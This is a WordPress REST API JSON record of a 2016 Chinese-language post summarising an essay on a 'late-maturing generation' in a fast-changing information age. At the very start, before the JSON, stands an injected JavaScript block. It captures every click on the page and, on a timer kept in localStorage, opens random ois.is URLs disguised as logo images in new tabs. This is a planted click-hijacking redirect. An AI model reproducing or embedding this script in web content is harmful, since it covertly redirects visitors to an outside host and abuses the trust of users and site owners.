<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1323,"date":"2016-03-18T01:07:43","date_gmt":"2016-03-17T17:07:43","guid":{"rendered":"http:\/\/edu.secda.info\/yujuwu\/?p=1323"},"modified":"2016-03-18T01:07:43","modified_gmt":"2016-03-17T17:07:43","slug":"%e6%96%87%e7%ab%a0%e6%91%98%e8%a6%81%ef%bc%9a%e5%8d%81%e5%80%8d%e9%80%9f%e6%99%82%e4%bb%a3%e4%b8%ad%e7%9a%84%e6%99%9a%e7%86%9f%e4%b8%96%e4%bb%a3","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/yujuwu\/?p=1323","title":{"rendered":"\u6587\u7ae0\u6458\u8981\uff1a\u5341\u500d\u901f\u6642\u4ee3\u4e2d\u7684\u665a\u719f\u4e16\u4ee3"},"content":{"rendered":"<p style=\"margin: 36pt 36pt 18pt; line-height: 22pt;\"><b><span style=\"font-size: 15pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u6587\u7ae0\u6458\u8981\uff1a\u5341\u500d\u901f\u6642\u4ee3\u4e2d\u7684\u665a\u719f\u4e16\u4ee3 \/ \u738b\u6d69\u5a01<\/span><\/b><b><\/b><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 22pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u8cc7\u8a0a\u5316\u6642\u4ee3\u7684\u4f86\u81e8\u9020\u6210\u8a0a\u606f\u77ac\u606f\u842c\u8b8a\uff0c\u5728\u9019\u500b\u5341\u500d\u901f\u6d2a\u6d41\u5e2d\u6372\u7684\u4e16\u754c\u88e1\uff0c\u5927\u90e8\u5206\u7684\u4eba\u4e0d\u662f\u9078\u64c7\u9762\u5c0d\u9019\u7a81\u5982\u5176\u4f86\u7684\u8b8a\u5316\uff0c\u800c\u662f\u9003\u907f\u4e00\u5207\uff0c\u7136\u800c\uff0c\u5854\u8587\u548c\u58eb\u51e1\u662f\u4e0d\u540c\u7684\uff0c\u76f8\u5c0d\u65bc\u5176\u4ed6\u5e74\u8f15\u4eba\u7684\u300c\u4fdd\u5b88\u300d\uff0c\u4ed6\u5011\u9078\u64c7\u53bb\u9069\u61c9\u9019\u500b\u5feb\u901f\u7684\u6642\u4ee3\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 22pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u6b64\u5916\uff0c\u96a8\u8457\u50b3\u7d71\u5bb6\u65cf\u7684\u5d29\u89e3\uff0c\u7236\u6bcd\u96c6\u5408\u9ad4\u7684\u529b\u91cf\u4e5f\u9010\u6f38\u6d88\u5931\uff0c\u9019\u4e00\u4ee3\u7236\u6bcd\u5e7e\u4e4e\u90fd\u8981\u7368\u7acb\u8ca0\u8cac\u990a\u80b2\u5c0f\u5b69\uff0c\u9019\u6a23\u5341\u500d\u901f\u7684\u6c1b\u570d\u88e1\uff0c\u9a5a\u614c\u6216\u7126\u616e\u7684\u7236\u6bcd\u56e0\u70ba\u611b\u8b77\u5c0f\u5b69\u53cd\u800c\u66f4\u52a0\u9650\u5236\u4e86\u5b69\u5b50\u7684\u767c\u5c55\u3002\u7236\u6bcd\u8207\u5e74\u8f15\u5e74\u8f15\u4eba\u90fd\u8d8a\u4f86\u8d8a\u665a\u719f\uff0c\u9019\u5c07\u662f\u6211\u5011\u8981\u5171\u540c\u9762\u5c0d\u7684\u554f\u984c\u3002<\/span><span style=\"font-size: 11pt;\">(31-45-280 <\/span><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u9ec3\u923a\u7fd4<\/span><span style=\"font-size: 11pt;\">)<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6587\u7ae0\u6458\u8981\uff1a\u5341\u500d\u901f\u6642\u4ee3\u4e2d\u7684\u665a\u719f\u4e16\u4ee3 \/ \u738b\u6d69\u5a01 \u8cc7\u8a0a\u5316\u6642\u4ee3\u7684\u4f86\u81e8\u9020\u6210\u8a0a\u606f\u77ac\u606f\u842c\u8b8a\uff0c\u5728\u9019\u500b\u5341\u500d\u901f\u6d2a\u6d41\u5e2d\u6372\u7684\u4e16\u754c\u88e1\uff0c [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1,42,65,47],"tags":[102],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1323"}],"collection":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1323"}],"version-history":[{"count":1,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1323\/revisions"}],"predecessor-version":[{"id":1325,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1323\/revisions\/1325"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1323"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1323"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1323"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}